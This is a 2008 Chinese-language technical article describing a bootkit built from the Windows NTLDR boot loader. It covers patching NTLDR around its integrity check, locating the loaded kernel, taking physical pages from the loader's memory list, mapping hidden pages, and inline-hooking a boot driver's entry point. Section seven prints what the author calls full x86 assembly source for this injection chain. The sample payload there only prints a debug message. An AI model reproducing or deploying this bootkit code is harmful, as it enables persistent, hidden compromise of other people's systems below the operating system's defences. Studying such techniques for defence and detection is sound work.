一种基于NTLDR的BOOTKIT──原理及实现
Author: inghu EMail: jack.xlt@gmail.com Site: http://hi.baidu.com/inghu Date: 2008-11-1
前言:XCON2008将于不日召开,其间国内外安全界之高手将云集席间,共享中国安全界这一盛会。吾自学计算机以来从网络受益颇多,或换言之,若无网络便无今日我对计算机知识的了解。吾近来研究NTLDR的结构和功能略有所得便随手做了个基于NTLDR的BOOTKIT,正想写篇相关文章回馈互联网,也正如安全焦点的LOGO所说"From the Internet, For the Internet",而恰好这时又侧耳听闻MJ0011将在此次XCON上发布它的高级Bootkit Tophet.A,吾虽对Tophet略有耳闻,但未睹其真面目,这次吾对Tophet也是翘首以待,在一睹Tophet真身以前,吾发现很少有相关BOOTKIT的文章,也未见任何源代码,便决心写下这篇文章,一为回馈滋养了我多年的网络;二也为这次XCON的召开推波助澜。
一.简介 二.NTLDR的HOOK 三.内核的加载与定位 四.对内核做HOOK 五.在内存里搭个狗窝 六.把自己挂上去 七.源代码 八.尾声
一.简介
先简要介绍一下我这个BOOTKIT吧,我这个BOOTKIT是基于NTLDR的文件型BOOTKIT,NTLDR是winNT系列内核的Osloader,当开机以后BIOS载入MBR,MBR载入DBR,然后DBR载入NTLDR,并将执行权转交给它,它再来启动内核。所以NTLDR是最接近内核的,而且对它做HOOK,可以避免编写针对各种类型外设的代码,提高通用性。总的来说,我的BOOTKIT有以下几个特点: 1.ring3下就可完成hook(改写NTLDR) 2.注入内核的代码没有内存大小限制,也无需自己读入代码 3.BOOTDRIVER驱动初始化时加载(依情况而定,也可hook内核其它地方) 4.理论上可以hook各种版本ntldr 5.理论上可以引导各个版本nt内核和内存相关boot.ini参数(嗯,你的内核得能用ntldr启动才行) 暂时没有对PAE内核,x64和内存相关BOOT.INI参数提供支持。我的调试环境是Bochs、Vmware、Windbg、Win2000 sp4、WinXp sp2、Win2003 sp1。汇编工具是C32ASM。本文牵涉到Windows x86的段页式内存管理、Windows地址空间布局结构、PE文件结构和汇编的知识,本人在写作本文时假设您已经了解了这些知识。
二.NTLDR的HOOK:
要做NTLDR的BOOTKIT,当然,我们首先面临的问题就是如何对NTLDR做HOOK?要对NTLDR做HOOK,那就首先要对NTLDR的文件结构有所理解才行。我大致说一下它的结构和功能,NTLDR是由两部分构成,一部分是被称作Su Module(Startup)的16位汇编代码,另一部分则是名为Osloader的PE文件。Su module位于NTLDR的头部,Osloader紧随其后。DBR将NTLDR加载到物理地址2000:0000开始的地方,然后跳转到这个地址,将控制权交给NTLDR进行引导,而这个地址也就是Su的入口。Su的主要功能是为Osloader准备内存环境,包括GDT、IDT、打开保护模式(未分页)和将Osloader按编译时的虚拟地址移动Osloader等等。在MP(多处理器)版本的NTLDR中,Su还有一件事情要做,就是检测Osloader的完整性,如果它检测到NTLDR被修改,那么,嘿嘿,这句话送给你“NTLDR is corrupt.The system cannot boot.”为了兼容windows 2003,我的DEMO就是用这种版本的NTLDR做的,由于我太懒,就没有研究这部分了,我绕过它的办法就是把它切了——我用没有校验的Su替换了它 ——我是不是很黄很暴力?嗯,我想是有那么点!
再讲讲Osloader,它的作用比较复杂,说的简单点就是为内核准备执行环境,然Osloader会根据boot.ini的设置将windows内核、hal.dll和其它Boot Driver加载进内存。有关NTLDR更详细的结构和功能,请读者参看有关资料。
了解了NTLDR的大致结构和功能。好,接着我们来看一下我们HOOK NTLDR所存在的问题?首先就是该在哪下手,理论上你可以在任何一个地方下手(废话),但是接下来你该跳转到哪里呢?茫茫内存,我该如何走啊,我又在人生的道路上迷路了。。。靠!所以先要选个老巢,执行HOOK CODE之后,才能让CPU有个地方可以去。我选择将CODE放在Osloader里,没错,Su会按SECTION的地址重定位Osloader,这样我们就可以很轻松地定位我们CODE的地址。我的做法就是直接用工具在Osloader里新建了一个节,将所有XX都放在了里面。兜了个圈子,我们回来,我们到底要在哪下手呢?因为我们的根本目的是要HOOK内核,所以执行我们CODE的时候,内核要已经被加载进了内存。那我们怎么知道在哪内核已经被加载进了内存呢?根据我对NTLDR的分析,在将控制权转给内核之前,Osloader会调用这个函数──BlSetupForNt,这个函数的会最后做些设置的收尾工作,包括剪裁页表。有个函数有个P用啊?要定位它的位置啊!嗯,所以我在这个函数里面找到了这个特征码: mov eax, cr3 mov cr3, eax (机器码:“0F 20 D8 0F 22 D8” ) 这段代码是用来flush TLB的。这段代码在我能找到的NTLDR里都出现过了,眼看就可以下手了吧,我很遗憾的告诉你,我不只在一处找到了这串特征码,并且有在内核加载之前调用的也有在内核加载之后调用的。为了顺利HOOK内核,所以我在CODE里加了保护性代码,通过这段代码你几乎可以在任何完整指令处进行HOOK。你可以下很多HOOK,不过得有一个是在内核加载之后执行的。利用这段特征串能比较方面的找到HOOK点。
在我制作DEMO的过程中发现“0F 20 D8 0F 22 D8” 串会集中出现在文件头的部分和文件尾的部分,建议只HOOK文件尾的串。我使用"call RVA"共5个字节的指令来实现跳转。
PS:Osloader位置的确定可以直接搜索特征值"MZ", "PE"。
三.内核的加载与定位
当控制权顺着hook code,转移到这一步的时候,如上所言,我们必须确定内核是否加载。我第一个想到的办法就是硬编码内核一个地址,然后测试这个地址是否有效,这个办法是可行的,因为同一个NTLDR总会将内核加载在同一个地址。但是这样的通用性不高,ring3下面的工作会增加。为了使DEMO具有较高通用性,我使用了暴搜的方法,从可能的加载地址:VA0x80400000~0x81000000。为了不致引起page fault,首先必须从PDE搜索起,再确定PTE是否有效,然后测试MZ、PE标志,最后ImageSize的大小要大于0x150000(也就内核这么大了),这是为了避免其它PE文件影响结果,像Osloader。
四.对内核做HOOK 这个时候整个内核就在我们眼前了,但是我们还不能直接动手,因为我们现在CODE所在的内存会在内核初始化的时候被清洗掉,所以我们还要HOOK一次EntryPoint。为什么?这个道理就像我们站在了一座宝库门口,但是我们偏偏没有一把打开宝库的钥匙,而这把钥匙会出现在内核的EntryPoint里。这把钥匙就是内核入口函数KiSystemStartup的参数──LoaderBlock。 这是一个类型名为LOADER_PARAMETER_BLOCK的指针。它的结构如下:
typedef struct _LOADER_PARAMETER_BLOCK { LIST_ENTRY LoadOrderListHead; LIST_ENTRY MemoryDescriptorListHead; LIST_ENTRY BootDriverListHead; ULONG KernelStack; ULONG Prcb; ULONG Process; ULONG Thread; ULONG RegistryLength; PVOID RegistryBase; PCONFIGURATION_COMPONENT_DATA ConfigurationRoot; PCHAR ArcBootDeviceName; PCHAR ArcHalDeviceName; PCHAR NtBootPathName; PCHAR NtHalPathName; PCHAR LoadOptions; PNLS_DATA_BLOCK NlsData; PARC_DISK_INFORMATION ArcDiskInformation; PVOID OemFontFile; struct _SETUP_LOADER_BLOCK *SetupLoaderBlock; ULONG Spare1;
union { I386_LOADER_BLOCK I386; MIPS_LOADER_BLOCK Mips; ALPHA_LOADER_BLOCK Alpha; PPC_LOADER_BLOCK Ppc; } u;
} LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;
没错,在这里我们能找到很多我们想得到的数据,以便我们能成功hook内核。
五.在内存里搭个狗窝
当CPU执行到这里的时候,我们已经来到了内核入口点——宝库就在眼前。宝库虽好,可是却没有我们住的地方啊,所以我们要在宝库旁边建个窝,这样才能让我们长期在宝库里XX。为了搭建我们的狗窝,我们有两样工作要做,一是,设法找到空闲的物理页用于映射;二是,找一个虚拟地址空间映射我们找到的物理页。对于第一步,我想你已经猜到了,嗯,就是LoaderBlock中的MemoryDescriptorListHead。它指向的实际数据结构如下:
typedef struct _MEMORY_ALLOCATION_DESCRIPTOR { LIST_ENTRY ListEntry; TYPE_OF_MEMORY MemoryType; ULONG BasePage; ULONG PageCount; } MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR;
其中 MemoryType为
typedef enum _TYPE_OF_MEMORY { LoaderExceptionBlock = MemoryExceptionBlock, // 0 LoaderSystemBlock = MemorySystemBlock, // 1 LoaderFree = MemoryFree, // 2 LoaderBad = MemoryBad, // 3 LoaderLoadedProgram = MemoryLoadedProgram, // 4 LoaderFirmwareTemporary = MemoryFirmwareTemporary, // 5 LoaderFirmwarePermanent = MemoryFirmwarePermanent, // 6 LoaderOsloaderHeap, // 7 LoaderOsloaderStack, // 8 LoaderSystemCode, // 9 LoaderHalCode, // a LoaderBootDriver, // b LoaderConsoleInDriver, // c LoaderConsoleOutDriver, // d LoaderStartupDpcStack, // e LoaderStartupKernelStack, // f LoaderStartupPanicStack, // 10 LoaderStartupPcrPage, // 11 LoaderStartupPdrPage, // 12 LoaderRegistryData, // 13 LoaderMemoryData, // 14 LoaderNlsData, // 15 LoaderSpecialMemory, // 16 LoaderMaximum // 17 } TYPE_OF_MEMORY;
“借”物理内存的方法有很多种,我们可以遍历List,将合乎我们要求的DESCRIPTOR标记为LoaderSystemCode或者LoaderBad等等。我用的方法则是在其它两个参数上做文章——BasePage和PageCount。它们分别代表了这个DESCRIPTOR起始页号和包含的物理页数。我只要修改这两个参数,我就可以想要多少内存页就有多少内存页了——夸张了点!这样抹去的页也永远从内核中消失了(这里的这个方法应该还可以用于其它XX)。
接下来我们要做的事就是在虚拟内存中映射我们自己,4GB的空间我们应该映射在哪里呢?我首先注意到的就是最后4MB的空间,这个空间是给Hal用的,应该会有空闲空间吧,但实验表明这一块的区域会被重写,导致我们的地址被抹去,所以是不可用的。然后,我的做法是随便找了片内存,修改了PDE用了个页做页表进行映射,结果是我失败了,当然也不排除这种方法的可能性,也许是我的点没选对。最后我用的方法是在内核虚拟地址所在的那个PDE的后面一个PDE开始寻找虚拟地址空间,我找的PDE是有效PDE,不是无效的,然后再在页表中找无效PTE,将我要映射的物理地址的PTE写入这个无效PTE。最后这种方法成功了,不仅没有抹去,连进入windows之后这片内存还完整的存在。
在win2k中,这种找地址的方法会遇到麻烦,这是由于win2k的内存管理不同于它的后辈,它使用4MB的LARGE_PAGE进行管理,从内核地址空间开始一共连续映射512MB物理内存,所以用这种方法得到的虚拟地址最后会不存在,导致BSOD。其实win2k中对于虚拟地址的计算还要简单,那就是:虚拟地址=0x80000000+物理地址。
这样经过这两步,我们就成功地打造了我们健在内核旁边我们的“狗窝”,我们就等着挖宝了。。。
PS:有关windows的x86体系的内存管理请看相关资料,推荐看webcrazy的系列文章。
六.把自己挂上去
现在有了我们自己的狗窝,下面就欠一扇从宝库到我们狗窝的大门了,没错,还是LoaderBlock。LoadOrderListHead和BootDriverListHead,这两个参数所链接的代码都会在ExpInitializeExecutive函数中初始化,并且LoadOrderListHead所链代码会先于BootDriverListHead被调用。而BootDriverListHead则是在IO system被初始化时调用。鉴于内核的初始化程度,我选择了后者BootDriverListHead。BootDriverListHead实际上所指向的是BOOT_DRIVER_LIST_ENTRY这么一个结构:
typedef struct _BOOT_DRIVER_LIST_ENTRY { LIST_ENTRY Link; UNICODE_STRING FilePath; UNICODE_STRING RegistryPath; PLDR_DATA_TABLE_ENTRY LdrEntry; } BOOT_DRIVER_LIST_ENTRY, *PBOOT_DRIVER_LIST_ENTRY;
其中的LdrEntry就是关键了,关于这个结构我只找到它的部分域,但是已经够用了:
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName;
+0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 Void +0x04c PatchInformation : Ptr32 Void
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
我们通过LdrEntry就可以找到BootDriver的EntryPoint,对它做inline hook就可以了。这里要注意三点:1.只有Flags为某个值时,它才会被初始化(或者说这个BootDriver的DriverEntry函数才会被调用); 2.由于加载的驱动会被搬移到内存高地址,所以要做inline hook; 3.这个时候驱动还没有relocate,所以某些间接寻址的代码会被修改,所以要找一个代码不会被修改的值。我使用了7个字节来call我的代码(mov eax, xxxxxx; call eax;),所以要保证这7个字节不会修改。
我在win2k的某个驱动中找到了这样的代码段: 55 PUSH EBP 8BEC MOV EBP,ESP 83EC 10 SUB ESP,10
XP中: 8BFF MOV EDI,EDI 55 PUSH EBP 8BEC MOV EBP,ESP
只要inline hook这样的驱动就可以保证不会在relocate后,执行乱七八糟的代码了。
如此,一扇通向我们狗窝的金灿灿的大门就做好了,你就等着大摇大摆到宝库里往自己窝里搬东西好了。。。
七.源代码
说了这么多废话,也不知道您听明白没有,没有?!直接看src,这才是硬道理!
以下这段代码是直接从我的DEMO上取下来的,因为所有代码都是一句句像debug一样敲进去的,所以就没有那么好看,不要怪我啊!这段代码成功引导了win2k sp4, winxp sp2, win2003 sp1, wrk等内核,不支持PAE内核和VISTA,还有一些与内存有关的boot.ini的参数也不支持。至于DEMO,由于是直接改的M$的NTLDR,牵涉到xx问题,就不公开发表了。
//============================================================================================================
//以下就是完整的源代码了,我加了少量注释,帮助理解:
//---------------------------------Module 1------------------------------------------------------------------
// 修复返回地址,直接执行被hook的代码,这样比修复省n个字节 00484000: FF0424 INC DWORD PTR [ESP] 00484003: 0F20D8 MOV EAX,CR3 00484006: 0F22D8 MOV CR3,EAX
// 可能会被重复执行,避免重复hook内核 00484009: 803D FF404800 01 CMP BYTE PTR [4840FF],1 00484010: 75 01 JNZ SHORT 00484013 00484012: C3 RETN
// 在VA:0x80400000~0x81000000范围内暴搜内核,以确定内核已经加载及找到ImageBase 00484013: 53 PUSH EBX 00484014: 51 PUSH ECX 00484015: B8 00F03F80 MOV EAX,803FF000 0048401A: 05 00100000 ADD EAX,1000 0048401F: 3D 00000081 CMP EAX,81000000 // 搜索失败 00484024: 0F84 74000000 JE 0048409E 0048402A: 8BD8 MOV EBX,EAX 0048402C: C1EB 16 SHR EBX,16 0048402F: C1E3 02 SHL EBX,2 00484032: 81CB 000030C0 OR EBX,C0300000 00484038: F703 01000000 TEST DWORD PTR [EBX],1 0048403E: 74 DA JE SHORT 0048401A 00484040: 8BD8 MOV EBX,EAX 00484042: C1EB 0A SHR EBX,A 00484045: 81C3 000000C0 ADD EBX,C0000000 0048404B: F703 01000000 TEST DWORD PTR [EBX],1 00484051: 74 C7 JE SHORT 0048401A 00484053: 66:8138 4D5A CMP WORD PTR [EAX],5A4D // 'MZ' flag 00484058: 75 C0 JNZ SHORT 0048401A 0048405A: 8B58 3C MOV EBX,[EAX+3C] 0048405D: 813C18 50450000 CMP DWORD PTR [EAX+EBX],4550 // 'PE' flag 00484064: 75 B4 JNZ SHORT 0048401A 00484066: 817C18 50 00001500 CMP DWORD PTR [EAX+EBX+50],150000 // ImageSize >= 0x150000 bytes 0048406E: 7C AA JL SHORT 0048401A
// 将内核的ImageBase写入0x4849FC内,并找到内核的EntryPoint做inline hook 00484070: A3 FC494800 MOV [4849FC],EAX 00484075: 034418 28 ADD EAX,[EAX+EBX+28] 00484079: 8B18 MOV EBX,[EAX] 0048407B: 8B48 04 MOV ECX,[EAX+4] 0048407E: 50 PUSH EAX 0048407F: B8 F0404800 MOV EAX,4840F0 00484084: 8918 MOV [EAX],EBX 00484086: 8948 04 MOV [EAX+4],ECX 00484089: 58 POP EAX 0048408A: C700 B8004148 MOV DWORD PTR [EAX],484100B8 // 写入 "mov eax, 0x484100" 00484090: C740 04 00FFD000 MOV DWORD PTR [EAX+4],D0FF00 // "call eax" 00484097: C605 FF404800 01 MOV BYTE PTR [4840FF],1 0048409E: 59 POP ECX 0048409F: 5B POP EBX 004840A0: C3 RETN
//-----------------------------------------Module 2-------------------------------------------------------
// 修复返回地址和内核入口代码 00484100: 832C24 07 SUB DWORD PTR [ESP],7 00484104: B8 F0404800 MOV EAX,4840F0 00484109: 8B18 MOV EBX,[EAX] 0048410B: 8B48 04 MOV ECX,[EAX+4] 0048410E: 8B0424 MOV EAX,[ESP] 00484111: 8918 MOV [EAX],EBX 00484113: 8948 04 MOV [EAX+4],ECX
// 暴搜MemoryDescriptor,寻找合适的物理内存页存放代码 00484116: 55 PUSH EBP 00484117: 8BEC MOV EBP,ESP 00484119: 83C5 0C ADD EBP,C 0048411C: 8B6D 00 MOV EBP,[EBP] 0048411F: 8BDD MOV EBX,EBP 00484121: 83C3 08 ADD EBX,8 00484124: 8B1B MOV EBX,[EBX] 00484126: 837B 08 02 CMP DWORD PTR [EBX+8],2 // MemoryType == MemoryFree 0048412A: 75 F8 JNZ SHORT 00484124 0048412C: 817B 0C 00100000 // no meaning, just for debugging. 00484133: 837B 10 10 CMP DWORD PTR [EBX+10],10 00484137: 7C EB JL SHORT 00484124 00484139: 8B53 0C MOV EDX,[EBX+C] 0048413C: 8343 0C 05 ADD DWORD PTR [EBX+C],5 // "借"5个物理页(没的还的) 00484140: 836B 10 05 SUB DWORD PTR [EBX+10],5
// 开始暴搜页表,寻找合适的虚拟地址映射注入的代码 00484144: A1 FC494800 MOV EAX,[4849FC] 00484149: C1E8 16 SHR EAX,16 0048414C: C1E0 02 SHL EAX,2 0048414F: 05 000030C0 ADD EAX,C0300000 00484154: 83C0 04 ADD EAX,4 // 在ImageBase后所在PDE的下一个PDE开始搜索 00484157: 83E8 04 SUB EAX,4 // 主要是避开使用NTLDR的虚拟地址 0048415A: 83C0 04 ADD EAX,4 0048415D: 8B18 MOV EBX,[EAX] 0048415F: 83E3 01 AND EBX,1 00484162: 74 F6 JE SHORT 0048415A 00484164: 50 PUSH EAX 00484165: C1E0 0A SHL EAX,A 00484168: 33C9 XOR ECX,ECX 0048416A: 83C1 04 ADD ECX,4 0048416D: 8B5C08 FC MOV EBX,[EAX+ECX-4] 00484171: 83E3 01 AND EBX,1 00484174: 74 0B JE SHORT 00484181 00484176: 81F9 00100000 CMP ECX,1000 0048417C: 75 EC JNZ SHORT 0048416A 0048417E: 58 POP EAX 0048417F: EB D9 JMP SHORT 0048415A 00484181: 5B POP EBX
// 在找到的PTE地址里写入要映射的物理内存页号等信息 00484182: C1E2 0C SHL EDX,C 00484185: 81CA 63010000 OR EDX,163 0048418B: 03C1 ADD EAX,ECX 0048418D: 83E8 04 SUB EAX,4 00484190: 8910 MOV [EAX],EDX 00484192: 0F20DB MOV EBX,CR3 00484195: 0F22DB MOV CR3,EBX 00484198: C1E0 0A SHL EAX,A 0048419B: 8BD0 MOV EDX,EAX
// 判断内核的版本是不是NT 5.0(win2000) 0048419D: A1 FC494800 MOV EAX,[4849FC] 004841A2: 8B58 3C MOV EBX,[EAX+3C] 004841A5: 807C18 46 00 CMP BYTE PTR [EAX+EBX+46],0 004841AA: 75 07 JNZ SHORT 004841B3 004841AC: 68 00200000 PUSH 2000 004841B1: EB 05 JMP SHORT 004841B8 004841B3: 68 01200000 PUSH 2001
// 在BootDriver中找一个合适的驱动做inline hook 004841B8: 8BC5 MOV EAX,EBP 004841BA: 83C0 10 ADD EAX,10 004841BD: 8B00 MOV EAX,[EAX] 004841BF: 8B48 18 MOV ECX,[EAX+18] 004841C2: 8B09 MOV ECX,[ECX] 004841C4: 8179 34 00400000 CMP DWORD PTR [ECX+34],4000 // 观察值,flag为0x4000,该驱动的DriverEntry才会被调用 004841CB: 75 F0 JNZ SHORT 004841BD 004841CD: 8B49 1C MOV ECX,[ECX+1C] 004841D0: 8B19 MOV EBX,[ECX] 004841D2: 813C24 00200000 CMP DWORD PTR [ESP],2000 004841D9: 75 10 JNZ SHORT 004841EB 004841DB: 81FB 558BEC83 CMP EBX,83EC8B55 // 特征值 "558BEC83EC" 004841E1: 75 DA JNZ SHORT 004841BD 004841E3: 8079 04 EC CMP BYTE PTR [ECX+4],EC 004841E7: 75 D4 JNZ SHORT 004841BD 004841E9: EB 0E JMP SHORT 004841F9 004841EB: 81FB 8BFF558B CMP EBX,8B55FF8B // 特征值 "8BFF558BEC" 004841F1: 75 CA JNZ SHORT 004841BD 004841F3: 8079 04 EC CMP BYTE PTR [ECX+4],EC // 两处特征值可以保证inline hook的代码 004841F7: 75 C4 JNZ SHORT 004841BD // 不会被Relocate。 004841F9: 8B01 MOV EAX,[ECX] 004841FB: 8982 F00F0000 MOV [EDX+FF0],EAX 00484201: 8B41 04 MOV EAX,[ECX+4] 00484204: 8982 F40F0000 MOV [EDX+FF4],EAX 0048420A: C601 B8 MOV BYTE PTR [ECX],B8 // hook DriverEntry 0048420D: 52 PUSH EDX // 写入 "mov eax, xxxxxxx; call eax" 0048420E: 817C24 04 00200000 CMP DWORD PTR [ESP+4],2000 00484216: 75 1A JNZ SHORT 00484232 00484218: C1EA 0C SHR EDX,C // 重新计算win2k中,注入代码的虚拟地址 0048421B: C1E2 02 SHL EDX,2 0048421E: 81C2 000000C0 ADD EDX,C0000000 00484224: 8B12 MOV EDX,[EDX] 00484226: 81E2 00F0FFFF AND EDX,FFFFF000 0048422C: 81C2 00000080 ADD EDX,80000000 00484232: 8951 01 MOV [ECX+1],EDX 00484235: 66:C741 05 FFD0 MOV WORD PTR [ECX+5],D0FF 0048423B: 5A POP EDX 0048423C: 58 POP EAX
// 将要注入的代码复制到目标地址里 0048423D: B8 00454800 MOV EAX,484500 00484242: 33C9 XOR ECX,ECX 00484244: 8B1C08 MOV EBX,[EAX+ECX] 00484247: 891C11 MOV [ECX+EDX],EBX 0048424A: 83C1 04 ADD ECX,4 0048424D: 81F9 00050000 CMP ECX,500 00484253: 75 EF JNZ SHORT 00484244 00484255: 5D POP EBP 00484256: C3 RETN
//------------------------------------------Module 3-----------------------------------------------
// 为注入的代码,只调用了DbgPrint打印了一句话 00484500: 50 PUSH EAX 00484501: E8 00000000 CALL 00484506 00484506: 58 POP EAX 00484507: 83E8 06 SUB EAX,6 0048450A: 53 PUSH EBX 0048450B: 836C24 08 07 SUB DWORD PTR [ESP+8],7 00484510: 8B5C24 08 MOV EBX,[ESP+8] 00484514: 51 PUSH ECX 00484515: 52 PUSH EDX 00484516: 8B88 F00F0000 MOV ECX,[EAX+FF0] 0048451C: 8B90 F40F0000 MOV EDX,[EAX+FF4] 00484522: 890B MOV [EBX],ECX 00484524: 8953 04 MOV [EBX+4],EDX 00484527: 8D98 00040000 LEA EBX,[EAX+400] 0048452D: 53 PUSH EBX 0048452E: 68 08000000 PUSH 8 00484533: 8D98 90010000 LEA EBX,[EAX+190] 00484539: 53 PUSH EBX 0048453A: FFB0 FC040000 PUSH DWORD PTR [EAX+4FC] 00484540: E8 BB010000 CALL 00484700 00484545: FFD0 CALL NEAR EAX 00484547: 83C4 04 ADD ESP,4 0048454A: 5A POP EDX 0048454B: 59 POP ECX 0048454C: 5B POP EBX 0048454D: 58 POP EAX 0048454E: C3 RETN
// 根据目标函数字符串,在内核的导出表中寻找查找内核函数,并返回内核函数的虚拟地址 00484700: 55 PUSH EBP 00484701: 8BEC MOV EBP,ESP 00484703: 8B45 08 MOV EAX,[EBP+8] 00484706: 8B58 3C MOV EBX,[EAX+3C] 00484709: 03C3 ADD EAX,EBX 0048470B: 83C0 78 ADD EAX,78 0048470E: 8B18 MOV EBX,[EAX] 00484710: 035D 08 ADD EBX,[EBP+8] 00484713: 8B43 20 MOV EAX,[EBX+20] 00484716: 0345 08 ADD EAX,[EBP+8] 00484719: 9C PUSHFD 0048471A: FC CLD 0048471B: 56 PUSH ESI 0048471C: 57 PUSH EDI 0048471D: 33D2 XOR EDX,EDX 0048471F: 8B75 0C MOV ESI,[EBP+C] 00484722: 8B4D 10 MOV ECX,[EBP+10] 00484725: 8B3C90 MOV EDI,[EAX+EDX*4] 00484728: 037D 08 ADD EDI,[EBP+8] 0048472B: F3 REPE CMPSB 0048472C: A6 CMPSB 0048472D: 74 03 JE SHORT 00484732 0048472F: 42 INC EDX 00484730: EB ED JMP SHORT 0048471F 00484732: 5F POP EDI 00484733: 5E POP ESI 00484734: 9D POPFD 00484735: 8B43 24 MOV EAX,[EBX+24] 00484738: 0345 08 ADD EAX,[EBP+8] 0048473B: 66:8B0C50 MOV CX,[EAX+EDX*2] 0048473F: 8B43 1C MOV EAX,[EBX+1C] 00484742: 0345 08 ADD EAX,[EBP+8] 00484745: 0FB7C9 MOVZX ECX,CX 00484748: 8B0488 MOV EAX,[EAX+ECX*4] 0048474B: 0345 08 ADD EAX,[EBP+8] 0048474E: 5D POP EBP 0048474F: C2 0C00 RETN C
//=========================================END===========================================================
八.尾声:
关于BOOTKIT有很多种实现,虽然此篇也是BOOTKIT,但使用的技术却很常规,本文也意在讲述后半程技术(如何映射内存和HOOK内核),以求更为巧妙的技术出现。比如本人就想尝试HOOK NTDETECT.COM和将某类型的网卡做成PCI BOOT CARD,限于精力也只是形成了想法,欢迎有兴趣的朋友一起交流。最后,还是祝各位enjoy yourself吧,玩得开心!
//*********************本人功力尚浅,其中错误难免,还望读者不吝赐教**************************** //********本文纯属技术交流,本人不对任何因使用本文所述之技术和代码引起的任何问题负任何责任***** //**************************本文可以随意转载,但请保留版权信息********************************* //********文中提到的所有数据结构均搜集于Internet,本文所述之原理均***************************** //********来自于本人对NTLDR和NT内核分析的笔记还有Internet,再次感谢网络!!!!****************
//=================技术是把双刃剑,既可杀敌也可防敌,至于是杀是防全看用剑之人=================
|